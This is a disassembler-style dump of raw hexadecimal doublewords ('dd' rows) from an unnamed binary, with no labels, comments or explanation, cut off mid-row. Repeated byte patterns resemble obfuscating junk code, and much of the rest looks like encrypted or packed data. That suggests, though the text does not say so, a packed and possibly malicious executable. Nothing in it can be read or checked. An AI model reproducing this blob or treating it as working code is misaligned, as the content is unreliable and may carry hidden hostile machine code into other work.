0AE858h dd 0B9720000h, 0C4FDA033h, 8EAC4235h, 0BE9h, 56D3ED00h dd 3805EEAh, 56E5F46Bh, 2DB5FF5Eh, 6A07E029h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 1320C351h, 48DA32CDh, 0D8B71C58h, 1341B589h, 858D07E0h dd 7E37FE8h, 0FFD7BF0Fh, 0F28166D0h, 5E9BE9Bh, 16000000h dd 67A18952h, 2C758589h, 0F78B07E0h, 75985C6h, 6A5307E0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 78F1C351h, 950B360Bh, 7E01455h, 0BFA49268h dd 0F38B6625h, 6A240481h, 962D8C6h, 0E0342585h, 2DB5FF07h dd 0F907E029h, 7FE8858Dh, 0EE8107E3h, 76BCB818h, 8589D0FFh dd 7E0344Dh, 48AD858Dh, 8A0F07E3h, 6, 8E2AC281h, 85892BF0h dd 7E007E1h, 14E9h, 0E1E51100h, 0F09D6ACCh, 0DC55EBA4h dd 2F884F14h, 53EB7AA8h, 6A206A87h, 0E195FFFFh, 3507E007h dd 53504149h, 155185C7h, 107E0h, 85C70000h, 7E007A9h, 0 dd 143DB58Bh, 0BE6607E0h, 8B665E17h, 15858BD0h, 8907E016h dd 0E01BC5B5h, 0A36407h, 0F000000h, 68Bh, 0C9B58B00h, 8307E025h dd 0E02FF5BDh, 840F0007h, 19h, 154DBD89h, 858B07E0h, 7E02B71h dd 1CD9589h, 0E08B07E0h, 8A137ABEh, 0A9BD834Fh, 7E01Ch dd 412850Fh, 9D890000h, 7E023B1h, 75985C6h, 895607E0h dd 0E028F985h, 4E807h, 30DF0000h, 9E9A9C5h, 0CE000000h dd 4182A327h, 7A6574Dh, 9E850h, 91E80000h, 7B8CF9FAh, 0E9668441h dd 0Bh, 5B4B4C5h, 0BEC29100h, 5E9A6AF3h, 424448Bh, 51C58DBAh dd 66008B77h, 4489D18Bh, 0BA660424h, 0FF589E5Ch, 0E0292DB5h dd 8DF38B07h, 0E37FE885h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CD952386h dd 0FF07E000h, 82BA66D0h, 0E9509062h, 13h, 0ABB7801h, 98891BD7h dd 0B338BA3Eh, 0A8B530C7h, 90B6B160h, 7558589h, 8D8D07E0h dd 7E00585h, 2CFE60BAh, 0BA665045h, 0C89ECD0h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 7DB86224h, 0F86F09DAh, 6060B2DBh, 18F780FCh, 0E9046A61h dd 0Ch, 497FD651h, 5B5DFFF3h, 51A93604h, 17573768h, 10E9DDh dd 8C2D0000h, 0C960904Fh, 0F318F69Fh, 0F08BB39Ch, 481C082h dd 0E8B8C924h, 55006A22h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 13E63261h, 0D449963Bh dd 0FFF506CFh, 0E00465B5h, 0F2BF0F07h, 0EB2D0FFh, 465BD8Bh dd 890F07E0h, 6, 739B58Bh, 7F0307E0h, 6A54BA3Ch, 0C7813F2Eh dd 0F8h, 30E9B58Bh, 47C707E0h, 2024h, 0D0B70F60h, 0E2DABA66h dd 866BBD83h, 0F0007E8h, 1CD84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0CF306183h dd 1705B58Bh, 0C78307E0h, 52006A28h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 69383034h dd 12EB5B3Ah, 0B58B52E4h, 7E028EDh, 68F0F5Ah, 81000000h dd 0C78F85E6h, 2E07C725h, 8B64696Ah, 0E0197DB5h, 447C707h dd 617461h, 858BD18Bh, 7E88673h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 1BC35040h, 0C4789FDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 7C333597h dd 0BCC6E63Fh, 0EE828h, 0D12A0000h, 480D736Dh, 1E3F2445h dd 64B19E24h, 6928BE66h, 1D9D895Eh, 8B07E030h, 0E8867785h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 1463486Bh, 0FD1B70Fh, 4789D0BFh, 8D952908h dd 8307E030h, 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 55C73EC3h, 5D9D09D0h, 0C707E023h dd 6F632E07h, 7D85296Eh, 0C707E010h, 69660447h, 0B58B0067h dd 7E02021h, 866F858Bh, 9D3107E8h, 7E01469h, 6A0C4789h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 2338C357h, 824B5D2Fh, 89558659h, 0E02C9DBDh dd 6B858B07h, 0F07E886h, 68Eh, 218D8900h, 8B07E033h, 0E020A195h dd 8478907h, 13E8h, 4149BD00h, 5BDB5BCAh, 26BE1EAh, 0DAF1B56Bh dd 0FCD986D5h, 0F5EF28Bh, 586h, 0CA816600h, 6058D1C5h dd 6F19D23h, 895307E0h, 0E0069D95h, 8D615B07h, 0E001FD8Dh dd 6E907h, 848F0000h, 0A9F29C24h, 0DE9h, 79B86E00h, 0B47A0381h dd 0C3A14D33h, 5250C260h, 0C890Fh, 7E90000h, 0BD000000h dd 181885E5h, 895ABE35h, 0FFF5240Ch, 0E00585B5h, 5860F07h dd 66000000h, 3B44D681h, 0D12C3F68h, 4BBE66E6h, 2404815Eh dd 192EE3C1h, 0B5FFC4B2h, 7E00465h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 23C35747h, 0D95011Eh, 6607E024h dd 83C6D681h, 0C681D0FFh, 1C23F84Fh, 0B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BFC06EBh, 24840FC0h, 8B000000h, 0E0194DB5h, 1B5FF07h dd 0F07E01Ch, 682h, 0C5958B00h, 0FF07E02Fh, 0E0209195h dd 11958B07h, 8B07E00Eh, 0EE8C0h, 0D74F0000h, 13053C6h dd 0EE524D4Ah, 64BA9230h, 19B58Bh, 835E07E0h, 0E006B1BDh dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 42DB8C0h dd 85890000h, 7E02399h, 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh dd 7E001C5h, 50177400h, 42DB853h, 85890000h, 7E02399h dd 0B96A9D8Dh, 0D3FF07E2h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858923C3h dd 7E001F9h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0EE8929C3h, 247F1B1Dh, 8A0F6E69h dd 519589F7h, 8B07E02Ch, 0E98D8DC0h, 8B07E88Fh, 0E0076185h dd 158D8907h, 6A07E018h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 19D2C355h, 4595899Dh dd 0C707E007h, 0E0204985h, 684007h, 8A0F00h, 0C7000000h dd 0E022C585h, 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0D85BD110h, 4AC2E5E8h dd 0B5FFA6C0h, 7E01261h, 0D68166FCh, 95FFE226h, 7E02091h dd 7E9h, 98B35B00h, 0ACC8138h, 18850Fh, 13E90000h, 88000000h dd 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h, 6A40A6h dd 18A995FFh, 0C08B07E0h, 138438EBh, 886214D1h, 31D0B5E8h dd 17492BD5h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 1D17684h dd 4D03A219h, 9D9042F1h, 0EA12E9EEh, 0A143AFB2h, 14FB1B59h dd 0A0F17B5Ch, 8D8DFE0Bh, 7E890ECh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 80C35242h, 519AA68h, 6E119693h dd 0DF805747h, 8D895B7Eh, 7E01815h, 204985C7h, 648007E0h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 21E180C3h, 40D2C97Dh, 0BE9h, 0F88E9700h dd 0EB9789F0h, 0EB7E837Eh, 9CD68166h, 0C585C7E0h, 7E022h dd 0B000000h, 0E0014985h, 0C5B5FF07h, 6A07E023h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0E228C351h, 2911BD01h, 95FF07E0h, 7E02091h, 89FEB70Fh dd 0E013959Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h, 17DBC71Ch dd 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 0CC8F8998h, 94F39058h dd 4D2DC2C6h, 0CE86Bh, 0D2270000h, 733E83BEh, 9B134694h dd 840F2B0Bh, 0Ch, 0DFBB6660h, 8F0F95h, 61000000h, 0A995895Fh dd 8107E011h, 6F35C7h, 0B8666000h, 0B9616EBDh, 1690EB92h dd 0F00CF181h, 17B81690h, 8B0A2460h, 9DBA6637h, 49EE81B1h dd 8B2DBBA0h, 0E0059595h, 1EC68107h, 8A5BDB6Ah, 8EC681F1h dd 0B211635Dh, 8A3789F6h, 2AEF81FDh, 8961AD43h, 0E025D58Dh dd 26C78107h, 6661AD43h, 832353BAh, 850F01E9h, 19h, 30659529h dd 30E907E0h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h dd 0AE870h, 0A1BC0000h dd 94F7199Ch, 0E20B0CAh, 28F0Fh, 0C28B0000h, 0FF85E958h dd 0DE9DFFFFh, 0E9C4C9E7h, 2Fh, 25A5300h, 0Ah dup(0) dd 0E9000000h, 588h, 7B954F37h, 0F00AC2A9h, 6781391Eh dd 0DAF4AC95h, 526C2608h, 7D5FD4FDh, 0F3D7A9C3h, 6A4D1F39h dd 0E0C698B2h, 412C0C26h, 0D20E931Eh, 0A279EB21h, 8ED4E5C8h dd 19CBC0ACh, 0AB0E13BEh, 0D1C92988h, 57025521h, 0ECC62F51h dd 0B39C4E08h, 15FBF5FBh, 846A445Bh, 7D28E0C3h, 2E7B8178h dd 520AF1CBh, 0B670524Ch, 23E4CA9Ch, 0D7DC8741h, 3439F3D9h dd 0ED13F7D1h, 0BAA0E7CAh, 913C8F29h, 958F958Ch, 0F3F1F6AEh dd 0E9C8EB11h, 9529BAA0h, 94929742h, 0C8F4F9B1h, 4067AA07h dd 7E64B60Bh, 0F5D8AAC4h, 6E51233Dh, 21609FB6h, 0BAA0B3FEh dd 7D78CB29h, 29BAA134h, 0A4F1F74Ah, 0C67E6741h, 0CFE2C6C0h dd 0DAEF2947h, 6B822D65h, 0B46E522Ch, 0B9E3F8B9h, 252B7E29h dd 3FF7DAD8h, 9E583C3Ah, 9F0A299h, 29564C51h, 0C8DF89D4h dd 484E08EEh, 492C7ED3h, 0B0E3D38h, 721D44BAh, 7AA08658h dd 0BA955A57h, 26D12429h, 954F350Fh, 424800E3h, 9500AEF5h dd 0F32429BAh, 0E602409Eh, 78525434h, 0DED5DA94h, 6354D8h dd 2B9E0000h, 3F868B45h, 29BAA170h, 0D02E83B4h, 5434EA92h dd 652608E2h, 1419C47Ch, 95238EB1h, 85B29BAh, 1D3575Dh dd 1D000000h, 9E85442Bh, 38363BE6h, 31949951h, 0DF7CE705h dd 3A4061BFh, 889F5740h, 0B10CAAEh, 4EC10E14h, 8B72C419h dd 9790BCD3h, 1FF3A18Ah, 0E51C7E84h, 676D270Bh, 0B3CD876Dh dd 8F492BB9h, 0C5E8278Ah, 29BAA0ECh, 9C563892h, 0EFF5A097h dd 51560EF5h, 0FADCB6E9h, 92443B40h, 76EBF1A9h, 82B6A19h dd 29BAA0A9h, 0E93429D5h, 31F1EE06h, 0A4868086h, 0D53BD591h dd 0B9645E63h, 2DE7CD9Fh, 34452A28h, 6DA5969Bh, 573CEE6Dh dd 93EFF49Fh, 4C26DD32h, 0AFA6AB63h, 4B77A3A9h, 84A05434h dd 0EA000000h, 4D6487C6h, 4E29BAA1h, 88DBB26Ch, 0ECA68882h dd 3E7396D5h, 3829BAA1h, 9742FCDEh, 61464491h, 0D4B892A9h dd 54C7141Ah, 9678C21Fh, 6386C5DCh, 29BAA14Eh, 6DCFD528h dd 12F8B99Bh, 0BC96AD58h, 0CD1A20DAh, 292EE6CFh, 0B9176CCDh dd 5434E89Dh, 0E2F1AFDBh, 0EBEE984Dh, 5D61E5h, 2BAB0000h dd 39788F49h, 0BAA09B16h, 1D37E329h, 0EC2F29ECh, 5AA7AD58h dd 0BCC1795Ch, 2E78D58Ah, 0EEA68B4Ch, 0C62F2943h, 4B500AECh dd 0F6525054h, 7C2A0DECh, 84957C76h, 1F61EE6Fh, 0F8FDA836h dd 0B9BAFDB1h, 9BF82929h, 340C1945h, 997D5754h, 0A3FEDBDFh dd 591AF690h, 1CF53h, 0C6190000h, 0F05D8C9Ah, 564D520Ch dd 6E1C6B52h, 0D1896E68h, 2EE8CECCh, 0A9063329h, 0A8C27A5Fh dd 8097947Ch, 0C7816741h, 3719CBC2h, 7B81787Dh, 5A4B3238h dd 4259AC2Eh, 0C1C77F68h, 0CF907674h, 8F472AEBh, 0E81F39E4h dd 32EACFA9h, 763B362Dh, 21DA4Bh, 4B931E41h, 98EB21DAh dd 7EDE7EDh, 0AE01484Dh, 0BD21DA4Bh, 7B61AB08h, 0EFD5A7C1h dd 4C323035h, 45F0A88Bh, 328FD840h, 1C0A983h, 6A61661Eh dd 0BDC3BABFh, 923DDC3h, 0D4BFFF2Bh, 8E113D53h, 0D17FC032h dd 0FFFEB3D6h, 257821D9h, 2FF0747Ah, 3A000001h, 0D9F04FD1h dd 0A13A779Ah, 0F14429BAh, 6D698CEBh, 0CB2E5A87h, 8F757378h dd 0FEE4BED5h, 0ADC3E44h, 67656A24h, 23DBC081h, 0FF226178h dd 21DA7AB2h, 7B520AF1h, 0E43A2428h, 447E4564h, 4089F13Eh dd 0F2B399E3h, 5A515610h, 8BB795AFh, 0A453D459h, 4Bh, 624F72B1h dd 1C21D9E2h, 793317C9h, 55777D74h, 0D8EF4ED1h, 455E1CB5h dd 4A4FA256h, 0BAA1AE03h, 0A1FEBFA9h, 702F18F2h, 0D3CACF87h dd 262C2328h, 0D7EE4FD2h, 455F1DB4h, 2F4699D6h, 4C6D1203h dd 212727A0h, 90BDBFh, 0D1530000h, 0B6D9F04Fh, 2E5AA4E4h dd 0A35B401Ah, 99183B9Eh, 0E521DA9Ch, 0C2E1E792h, 866C6A6Fh dd 0DA03D473h, 8061F1CFh, 2D0F13EDh, 0ED07B2B4h, 767B351Bh dd 0DA239D2Fh, 0F24F0421h, 0EE08C2A8h, 6C885EC2h, 0A0CB5AEDh dd 75654D75h, 43EEC8ADh, 0EBF0A891h, 0F33249F4h, 0F1B075C7h dd 8086D41Dh, 722BA83Dh, 748BDE26h, 0F4F9B19Ah, 0ACAAF7FDh dd 11070CC6h, 3DE38FE4h, 85A8E7FEh, 29B20D2Ch, 0D3D89077h dd 0ACB205DCh, 9BBB2A4Dh, 0E83B2E49h, 4FD1D4CEh, 1BFFD9F0h dd 61655C61h, 47A201F8h, 5DBCC2FBh, 51ECAB3Ah, 0D3D82B2Eh dd 1B35EFD5h, 0A4A96349h, 1F93915Dh, 0D629724h, 11BD5BBh dd 49688BCAh, 3527608Bh, 0FCE2DCE2h, 969B553Bh, 0F1EFF49Fh dd 0AC644908h, 0D906FC01h, 924C3284h, 1BBA17Bh, 9DFF05FCh dd 262BE5CBh, 3F8h, 66248E00h, 8489432Bh, 0E1E6A086h, 434800E3h dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h dd 7E833B22h, 399D686Dh, 1C890000h, 6CCF6824h, 3C890000h dd 4EC8324h, 0BF241489h, 57962F16h, 2B97CF81h, 0F7812779h dd 2F2F0774h, 2414F757h, 0E5CF815Fh, 812A9258h, 3D4A41E7h dd 0CBC78110h, 6807AB47h, 74Eh, 83242489h, 5A042404h, 6A5268h dd 243C8900h, 8B08428Fh, 89502414h, 405E0h, 4050000h, 87000000h dd 0FF5C2404h, 835F2434h, 54E904C4h, 82FFF7E9h, 62B61EC1h dd 1B229662h, 0A663D26Ah, 0E89711B8h, 0FFC50307h, 1C8112E0h dd 4596B968h, 0EBD71358h, 6E26B462h, 9BFF2A48h, 8EA9DE35h dd 0A1859647h, 2E8DB663h, 0F271EA26h, 0EA8D8D43h, 6A07E898h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0E8E1C356h, 0BD8BB6C4h, 7E01FEDh, 18158D89h dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 1FCB39C3h, 1C39444Bh, 0BF6D9AC6h, 4E77E539h dd 204985C7h, 644007E0h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0A76703C3h, 22C585C7h dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 2A0B0CC3h, 8480C98Bh, 0C58D8977h dd 0F07E031h, 1182h, 9E800h, 58F30000h, 38FBFF61h, 606E458Ah dd 0B5FF5A61h, 7E004A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 83C35646h, 0D59DB01h, 292869C6h, 0E023958Dh dd 9195FF07h, 6A07E020h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 94C5C351h, 6A0D9980h dd 0A995FF00h, 8B07E018h, 9A5EEBC0h, 0F4AFBE1h, 361B0E56h dd 90244816h, 0AA7A31AFh, 5269C073h, 99264FF2h, 92881C7Bh dd 0D49D6662h, 0E15EED33h, 0D794C217h, 3628ADF5h, 1C6F5h dd 4DA24BBDh, 0D11C73Ah, 0AFEB768Eh, 0CA63A22h, 1252496Ch dd 7A721CA5h, 4EA00E6Dh, 65A4EAD4h, 7E14CD15h, 281E1B76h dd 0A7459D31h, 5E811h, 24260000h, 5816FF66h, 2AA19531h dd 0C08107E0h, 71A4h, 0FE9h, 44A7F200h, 0F0E5A6E5h, 1181F75Ch dd 0B13F7DA7h, 0BFh, 6E800h, 46840000h, 0F0404683h, 10458D0Bh dd 0FF5907E0h, 8D8B0734h, 7E031A5h, 45B5315Ah, 8107E00Fh dd 0BC822AF2h, 6E80Ch, 0D7820000h, 0AD8EB2A3h, 1E718D8Bh dd 815E07E0h, 0B5225C2h, 81C88A33h, 63AB2C2h, 598D8B1Eh dd 5207E01Ah, 23698589h, 48F07E0h, 0E8F18B38h, 13h, 5DFA7D98h dd 0DDFC58A8h, 44656D9Bh, 5403DB23h, 89A3677Fh, 0E00F5585h dd 0EF815B07h, 5477D454h, 0AE9h, 24F01D00h dd 31B65FB8h, 816AF0C3h, 77D450C7h, 0CE854h, 97BA0000h dd 0A083C8E2h, 0CBB5E5ADh, 72BE62EBh, 591E3361h, 8F40FF81h dd 850FFFFFh, 0FFFFFF5Bh, 22C18D29h, 0EB07E0h, 418E9h dd 0CA846C00h, 3FF7DEB0h, 0B66E5325h, 29E1CA9Ch, 0A15B3D0Fh dd 94893287h, 0CDEF8B2h, 82546E28h, 0FBCDE79Fh, 61415B15h dd 75E5376h, 0A61821D2h, 33442B0Ch, 210AB576h, 1A426569h dd 0DFBB6D9h, 308329BAh, 0E9C3DA85h, 0A65E4504h, 5C93F5FBh dd 0DB7FA1Dh, 6CBF29BAh, 0CF876C66h, 42FAE3B5h, 0B66E512Bh dd 52B4BAB1h, 0B08B9E80h, 3478BE28h, 2A69802Bh, 0D954EFFEh dd 69646A63h, 29BA8A48h, 73D5DB2Eh, 63B0103Ch, 0A9F826CEh dd 6C7A9A3h, 0A8BF6A24h, 0D1C8FF7Ch, 50B3A88h, 33EDD1A3h dd 1F08E219h, 84676167h, 0FAE0B2CCh, 15EF2640h, 845B1B2Ch dd 0DF135883h, 21382F34h, 0BA41B3FEh, 7278CB29h, 5CD0E42Fh dd 0B8DB1A2Eh, 21D2D2F9h, 0D82C3285h, 43FDE347h, 0E7CAED2Ch dd 8F21D2D2h, 0EC975135h, 0B29B99E6h, 0B892F5FAh, 1B1217CFh dd 0D2D0E104h, 53A621D2h, 4A33D14Dh, 0C44C7892h, 112D5067h dd 872672B1h, 0C5E82F34h, 7829B2B1h, 0CC0BBA17h, 0B2B208A9h dd 62C26E29h, 2DBEDCA0h, 0E6CC7E29h, 2A30272Ch, 33E9E624h dd 0F71154h, 2B5B0000h, 7E8A8F49h, 917A5493h, 0D90D3D9h dd 4929BAA1h, 2105DFF6h, 656B6267h, 9289B518h, 0FBEB9CEAh dd 58D2DF02h, 59AC29BAh, 0C8AEA8AEh, 3C22F40Eh, 0FB257D82h dd 5002253Ch, 0A62E5A5Ch, 2B584E53h, 0E49E84D6h, 5C729ECAh dd 0A18B82D5h, 647B2610h, 79DE1941h, 171C6F26h, 637D3719h dd 0DEF5AF91h, 61651D04h, 0EFD6FAB4h, 9FECF22Fh, 3A71103Ch dd 4044FCE1h, 60661753h, 1128050Ch, 0BA9993EEh, 1E388B29h dd 0FA112EF2h, 44FCE1BBh, 0B4B7FB3Eh, 55812E5Ah, 0F826071Ch dd 0B5FC1F15h, 0C121DA3Ah, 9EBDC36Eh, 6648464Bh, 3A941D40h dd 0C7BD21DAh, 3F886F8Ah, 2AD528FFh, 365C3E10h, 0DA6B9E13h dd 0DA85D821h, 4100E9C3h, 0F1F7A25Ah, 0FCC54CA4h, 0DA6BD8D9h dd 994B9E21h, 2F9FEB6h, 27014057h, 40838943h, 21DA6C45h dd 0FDD7EE41h, 0F5575D17h, 6D874123h, 0F04FD173h, 80D0B6D9h dd 2C062E5Ah, 8A888D45h, 0F0E7ECA6h, 0CD203F45h, 23E4CAC8h dd 0DC947B3Ah, 8A352C31h, 1A542670h, 9A8136F7h, 21DA8113h dd 45B8E423h, 0D25B0373h, 15D0E1DCh, 53A621DAh, 0B36D534Dh dd 27E1C799h, 843E2422h, 71CE177Fh, 9D804127h, 37E9E0E5h dd 9B929751h, 0CAF8D6F0h, 0A53D461h, 0E1934B30h, 443B40F8h dd 1CBA3Eh, 0D1040000h, 0B6D9F04Fh, 2E5AA49Ch, 0DEB8CF22h dd 0EA373DF5h, 324C06ECh, 3B30h, 422BC600h, 5747738Ah dd 10650F7Eh, 9997E4EAh, 0B6E2F9B3h, 0D0F38B3Ch, 29BAA0E1h dd 0E3464A9Dh, 9A173A7Ch, 0E429B9ADh, 7EE0E691h, 0CCE50847h dd 0B229B9ADh, 0DC7AD5Fh, 0E90B1108h, 708A422Bh, 3382A590h dd 5329BAA1h, 17FDFB00h, 0B3B87256h, 0E9E3B8BCh, 0FBAD884Dh dd 7C5F3950h, 0C2C8BFC4h, 3C687F75h, 0C7370409h, 5DD2D883h dd 9ABDA800h, 29BA541Bh, 0CEF1085Bh, 29BA53E3h, 5C2E489Bh dd 55A2BC76h, 397EF8h, 98D70000h, 0BA543C75h, 0FFE84229h dd 0A04B4247h, 452B789Ah, 1235748Bh, 29BAA09Fh, 317E84D7h dd 0FB0EF4CEh, 44864F58h, 272CD719h, 4A302A30h, 0B99F7990h dd 0FD03FAFFh, 2B04C29Bh, 86848943h, 0E3E1E6A0h, 45434800h dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh dd 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 89512424h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 241C895Ch, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 56242C89h, 0C30676BEh, 37F68122h dd 56252B9Ch, 8B545E5Bh, 0C481242Ch, 4, 1C8568h, 241C8900h dd 0FF08458Fh, 815D2434h, 4C4h, 2434FF00h, 4C4835Bh, 0F7E28AE9h dd 49837FFFh, 0E92FEFDFh, 9DDCB881h, 0C50307E8h, 443CE0FFh dd 0DBB609FDh, 9B000A23h, 21187D93h, 4CCD6B4Fh, 59D94C3Fh dd 0D29396Fh, 0C5D13A46h, 5E5277CFh, 0A54A3445h, 0A7701EFCh dd 1099174Ch, 395D4E49h, 0B58538A6h, 0E84008B0h, 80795D82h dd 0BDB96DE3h, 0EC2866B5h, 0B3024E2Ch, 5FA3A43h, 0AB4C1E45h dd 960B55DFh, 90EA2478h, 86312FDBh, 32F670Ch, 0BDDB65A1h dd 55BF4196h, 8B9D3D86h, 3F309CDh, 0C1F34375h, 10E87E66h dd 52000000h, 0ACEC2F2Ch, 5F2D9410h, 0BD93F15h, 0E89345C1h dd 11h, 0CBBA4332h, 0F827CD26h, 0B4BE1DA3h, 158895D7h dd 8D0F32h, 5F000000h, 0F7BA665Eh, 0FE807h, 0BE60000h dd 0FCC4FE94h, 0AD2BE909h, 2576E00Eh, 703FB936h, 805A71F4h dd 8BF5B0E0h, 0E9CB8BD6h, 13h, 0F70187B9h, 0CA14398Ch dd 0E17A7E30h, 1A1279DBh, 815FADE2h, 0DD9109E8h, 0F98B6607h dd 0F9C8B70Fh, 0BBA3BF66h, 5E576060h, 0DE8h, 0D1C6C500h dd 353DE431h, 0BC213E41h, 615E706Dh, 8E9h, 3A79F300h, 0B8D2514Bh dd 62B261CDh, 0BCD28166h, 6E85Bh, 828E0000h, 0BB987C3Eh dd 5EC9C580h, 9789C781h, 815179C5h, 86F538C2h, 0DA815F2Dh dd 1BE3232Bh, 0AFCE8166h, 0B8F0F7Dh, 60000000h, 0FC9BF0Fh dd 80h, 8B666100h, 33BBBAF7h, 81667866h, 0FADF7EFh, 0C88h dd 7E900h, 4ECA0000h, 268152DEh, 3FBA66ABh, 0F78B662Dh dd 0AE9F5h, 5B8D0000h, 0E277CE94h, 79CACFE8h, 14E8h, 0EF3E4700h dd 346005D4h, 0FEFE6E16h, 7564730Eh, 0A1B72BCBh, 4FBB6645h dd 9E858D9h, 7C000000h, 813EA10Eh, 0B3A8EE9Ah, 59616050h dd 0FFE8A5Eh, 0BA66FEB7h, 14E96B61h, 32000000h, 0D0E92C54h dd 42497C45h, 0AC39B4F8h, 0FFE26C2Fh, 66AD52B2h, 0B2BCE081h dd 118B0Fh, 8E0F0000h, 0Bh, 6E9h, 0ABD5B100h, 80706B1Fh dd 820FF3D8h, 15h, 10E9h, 6E9B8800h, 60D992E9h, 0D699EBB8h dd 0E36FFA77h, 0DE9E3h, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch dd 802C5C17h, 0CE869D0h, 27000000h, 0F8B42962h, 0D3B952A6h dd 0F005D62h, 148Ch, 0FE900h, 0ACBB0000h, 0DC187931h, 213033C9h dd 7B00CFFEh, 0B70F5E95h, 0BAF081DFh, 0F7652CDh, 0F48ACABFh dd 0F08B6656h, 0F081665Ah, 61B05141h, 60DF8166h, 0B30CBE3Bh dd 0D6BE11FAh, 0F33F267h, 0EA81D0BFh, 11286081h, 4BBAC78Bh dd 81687655h, 0D84893DEh, 11E86Ch, 0BD510000h, 50FAFE52h dd 9B27B65Dh, 693FE52Fh, 0F435427h, 665EF9B7h, 8A480ABFh dd 9E860C2h, 11000000h, 64C8FDBCh, 230FE68h, 5EFABF0Fh dd 5E9h, 6FF06E00h, 0F6196B9h, 583h, 0A676BF00h, 10E91B6Fh dd 0EC000000h, 0B6814288h, 0F483733h, 91155164h, 660E141Dh dd 0E9613EBEh, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah, 0E998EA40h dd 26B86614h, 0F5FD8A5Fh, 0CE9h, 3C3B2100h, 5FB17B1Ch dd 0EAC6ECC9h, 3748BE2Eh, 0DE8151Ah, 0F4000000h, 0E715F750h dd 61A8BC46h, 0A481E06Fh, 5A24E180h, 87C28166h, 10E83Bh dd 0C4030000h, 4F987063h, 1FC84E4Ch, 0EDF0BCAEh, 8B5A920Dh dd 0FAB70FD0h, 0AE860h, 76A90000h, 2C17FB6Ch, 37D00BC2h dd 0E95EC68Bh, 11h, 45F8299Eh, 8E393614h, 0AB0E26EAh, 0DD8611FEh dd 0D98B612Dh, 14E9h, 0EBE43700h dd 1ADC3315h, 0DCA5D28Ch, 7E4E2AC4h, 4822E508h, 0FCEA8A30h dd 840Fh, 0CAB40000h, 8E8h, 0DC363100h, 544A9ECFh, 561BF24h dd 0F5A0924h, 0E956CEB7h, 0Fh, 0CCFECC15h, 0E4047199h dd 0A606A6h, 5E2D85A8h, 11E9h, 1D3B7000h, 0C0475186h, 46A6A4FDh dd 6AD5164Dh, 0D18B700Ch, 0D22DEB81h, 0B70F4CD5h, 0D181DAh dd 0E804D94Dh, 5, 0FAB89965h, 0CE95F4Ah, 38000000h, 7EF733F6h dd 0BDABE3F7h, 666A9D34h, 0E780FE8Bh, 89BE6607h, 81665756h dd 584D4BD9h, 0DE900B4h, 4C000000h, 0F5AACCA1h, 87BF8502h dd 0FD6642F7h, 54EBC6B9h, 0D9816635h, 8B668E2Fh, 0FABF0FD6h dd 3BEE8156h, 5A263536h, 3890Fh, 0BF0F0000h, 0CE9C3h, 0B1590000h dd 0FBBE7A2Dh, 3BEC2CA9h, 6BB42D59h, 0DEBF0FFCh, 404CEA81h dd 810F5D01h, 3, 80C2BF0Fh, 0BE663DCEh, 0C9B22893h, 6E9h dd 0CF8CAD00h, 81BC494Eh, 1E475AE2h, 860F505Fh, 2, 8B595F51h dd 41EE81F2h, 0E835AC2Ah, 0Dh, 5E54543Ah, 0EC4D144Ah, 0E7C998CAh dd 0B5B966CAh, 5E95BA6h, 0DE000000h, 3E1EF9CCh, 0B70F28B3h dd 0FE8F3h, 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh dd 10E97Ch, 0F3010000h, 17A159B7h, 520D2D82h, 0A38119AEh dd 